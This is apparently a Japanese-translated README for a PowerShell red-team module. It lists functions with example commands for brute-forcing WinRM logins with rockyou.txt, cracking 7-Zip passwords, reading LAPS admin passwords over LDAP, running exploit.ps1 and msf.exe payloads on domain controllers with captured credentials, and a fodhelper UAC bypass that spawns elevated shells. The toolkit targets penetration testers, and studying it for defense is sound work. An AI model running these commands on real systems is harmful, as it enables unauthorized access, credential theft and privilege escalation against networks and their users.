PowerShell-Red-Team-Enum

Red Teamerがマシンからデータを収集したり、ターゲットへのアクセスを得るために使用できるPowerShell関数のコレクション。RedTeamEnumモジュールに含まれるコマンド用のps1ファイルを追加しました。これにより、必要なコマンドが1つだけの場合、簡単に見つけて使用できます。モジュール全体が必要な場合は、RedTeamEnumディレクトリとその内容をデバイスにダウンロードした後、以下の操作を実行してください。

C:\PS> robocopy .\RedTeamEnum $env:USERPROFILE\Documents\WindowsPowerShell\Modules\RedTeamEnum *
# This will copy the module to a location that allows you to easily import it. If you are using OneDrive sync you may need to use $env:USERPROFILE\OneDrive\Documents\WindowsPowerShell\Modules\RedTeamEnum instead.

C:\PS> Import-Module -Name RedTeamEnum -Verbose
# This will import all the commands in the module.

C:\PS> Get-Command -Module RedTeamEnum
# This will list all the commands in the module.

• Convert-Base64.ps1 は、名前の通り、テキストをBase64形式にエンコードまたはデコードするための関数です。

C:\PS> Convert-Base64 -Value "Convert me to base64!" -Encode

C:\PS> Convert-Base64 -Value "Q29udmVydCBtZSB0byBiYXNlNjQh" -Decode

• Convert-StringToHash.ps1 は、文字列値をハッシュ値に変換する関数です。

C:\PS> Convert-StringToHash -String "Convert me to base64!"
C:\PS> Convert-StringToHash -String "Password123" -Encoding UTF8 -Algorithm MD5
# Both of the above examples convert the string Password123 to an MD5 Hash value

• Convert-SID.ps1 は、SID値をユーザー名に、ユーザー名をSID値に変換する関数です。

C:\PS> Convert-SID -Username tobor
# The above example converts tobor its SID value

C:\PS> Convert-SID -SID S-1-5-21-2860287465-2011404039-792856344-500
# The above value converts the SID value to its associated username

• Test-BruteZipPassword は、パスワードファイルを使用して、7zipを使ってパスワード保護されたzipファイルをブルートフォース攻撃する関数です。

C:\PS> Test-BruteForceZipPassword -PassFile 'C:\Users\USER\Downloads\Applications\pass.txt' -Path 'C:\Users\USER\Downloads\Applications\KiTTY.7z' -ZipExe 'C:\Program Files\7-Zip\7z.exe'
# This example uses the passwords in the pass.txt file to crack the password protected KiTTY.7z file

• Test-BruteForceCredentials は、WinRMを使用してユーザーのパスワードをブルートフォース攻撃する関数です。

C:\PS> Test-BruteForceCredentials -ComputerName DC01.domain.com -UseSSL -Username 'admin','administrator' -Passwd 'Password123!' -SleepMinutes 5
# This example will test the one password defined against both the admin and administrator users on the remote computer DC01.domain.com using WinRM over HTTPS with a time interval of 5 minutes between each attempt

C:\PS> Test-BruteForceCredentials -ComputerName File.domain.com -UserFile C:\Temp\users.txt -PassFile C:\Temp\rockyou.txt
# This example will test every password in rockyou.txt against every username in the users.txt file without any pause between tried attempts

• Get-LdapInfo は、一般的なLDAPクエリを実行するための関数で、私は非常に誇りに思っています。出力には2つのプロパティのみ表示されますが、オブジェクトに関連するすべてのプロパティは、Select-Object -Property * にパイプするか、-Detailed スイッチパラメータを使用することで確認できます。

C:\PS> Get-LdapInfo -Detailed -SPNNamedObjects -Domain domain.com -Credential (Get-Credential)
# The above returns all the properties of the returned objects in domain.com
#
C:\PS> Get-LdapInfo -DomainControllers | Select-Object -Property 'Name','ms-Mcs-AdmPwd'
# If this is run as admin it will return the LAPS password for the local admin account
#
C:\PS> Get-LdapInfo -ListUsers | Where-Object -Property SamAccountName -like "user.samname"
# NOTE: If you include the "-Detailed" switch and pipe the output to where-object it will not return any properties. If you wish to display all the properties of your result it will need to be carried out using the below format
#
C:\PS> Get-LdapInfo -AllServers | Where-Object -Property LogonCount -gt 1 | Select-Object -Property *

• Get-NetworkShareInfo は、リモートまたはローカルマシンで利用可能なネットワーク共有に関する情報を取得したり、ブルートフォースで発見したりするためのコマンドレットです。

C:\PS> Get-NetworkShareInfo -ShareName C$
# The above example returns information on the share C$ on the local machine
#RESULTS
Name         : C$
InstallDate  :
Description  : Default share
Path         : C:\
ComputerName : TOBORDESKTOP
Status       : OK

C:\PS> Get-NetworkShareInfo -ShareName NETLOGON,SYSVOL,C$ -ComputerName DC01.domain.com, DC02.domain.com, 10.10.10.1
# The above example disocvers and returns information on NETLOGON, SYSVOL, and C$ on the 3 remote devices DC01, DC02, and 10.10.10.1

• Test-PrivEsc は、WSUS更新がHTTP経由で権限昇格に対して脆弱かどうか、平文の資格情報が一般的な場所に保存されているかどうか、AlwaysInstallElevatedが権限昇格に対して脆弱かどうか、引用符で囲まれていないサービスパスが存在するかどうか、サービスの書き込み権限が弱い可能性があるかを検出するための関数です。

 C:\PS> Test-PrivEsc

• Get-InitialEnum は、Windowsオペレーティングシステムの基本情報を列挙し、潜在的な弱点をよりよく把握するための関数です。

 C:\PS> Get-InitialEnum

• Start-SimpleHTTPServer は、ファイルダウンロード用のHTTPサーバーをホストするための関数です。PythonのSimpleHTTPServerモジュールと似ています。Webサーバーを介してディレクトリをトラバースすることはできません。ホストされるダウンロードファイルは、このコマンドを発行した時点のカレントディレクトリから提供されます。

C:\PS> Start-SimpleHTTPServer
Open HTTP Server on port 8000

#OR
C:\PS> Start-SimpleHTTPServer -Port 80
# Open HTTP Server on port 80

• Invoke-PortScan.ps1 は、ターゲット上のすべてのTCPポートをスキャンするための関数です。将来的にはUDPやポート範囲の指定も含めて改善する予定です。これは正直なところ非常に遅いので使う価値があまりありません。スレッド処理は私の弱点であり、これについては取り組むつもりです。

 C:\PS> Invoke-PortScan -IpAddress 192.168.0.1

• Invoke-PingSweep は、サブネット範囲のpingスイープを実行するための関数です。

C:\PS> Invoke-PingSweep -Subnet 192.168.1.0 -Start 192 -End 224 -Source Singular
# NOTE: The source parameter only works if IP Source Routing value is "Yes"

C:\PS> Invoke-PingSweep -Subnet 10.0.0.0 -Start 1 -End 20 -Count 2
# Default value for count is 1

C:\PS> Invoke-PingSweep -Subnet 172.16.0.0 -Start 64 -End 128 -Count 3 -Source Multiple

• Invoke-UseCreds は、ペンテスト中に取得した資格情報を使用するプロセスを簡略化するために作成した関数です。-Password ではなく -Passwd を使用しています。これは、-Password パラメータが定義された場合、本来はセキュア文字列として構成されるべきですが、この関数ではそのフィールドに値を入力してもセキュア文字列にならないためです。値が設定された後、セキュア文字列に変換されます。

# The below command will use the entered credentials to open the msf.exe executable as the user tobor
C:\PS> Invoke-UseCreds -Username 'OsbornePro\tobor' -Passwd 'P@ssw0rd1' -Path .\msf.exe -Verbose

このコマンドレットは、ローカルマシン上のファイルをリモートマシンで実行するためにも使用できます。

# The below command will use the entered credentials to open the exploit.ps1 executable as the user tobor on DC01 and DC02 using WinRM
C:\PS> Invoke-UseCreds -Username 'OsbornePro\tobor' -Passwd 'P@ssw0rd1' -Path .\exploit.ps1 -ComputerName "DC01.domain.com","DC02.domain.com"

# The below command will use the entered credentials to open the exploit.ps1 executable as the user tobor on DC01 and DC02 using WinRM over HTTPS
C:\PS> Invoke-UseCreds -Username 'OsbornePro\tobor' -Passwd 'P@ssw0rd1' -Path .\exploit.ps1 -ComputerName "DC01.domain.com","DC02.domain.com" -UseSSL

• Invoke-FodHelperBypass は、UACバイパスが機能するかどうかをテストしてから権限昇格を実行する関数です。もちろん、これはローカル管理者グループのメンバーが実行する必要があります。このバイパスは、現在のシェルの権限を昇格させるためです。実行するプログラムを定義でき、msfvenomペイロードの生成や、cmd、powershellの実行、コマンドの発行が可能です。

C:\PS> Invoke-FodHelperBypass -Program "powershell" -Verbose
# OR
C:\PS> Invoke-FodHelperBypass -Program "cmd /c msf.exe" -Verbose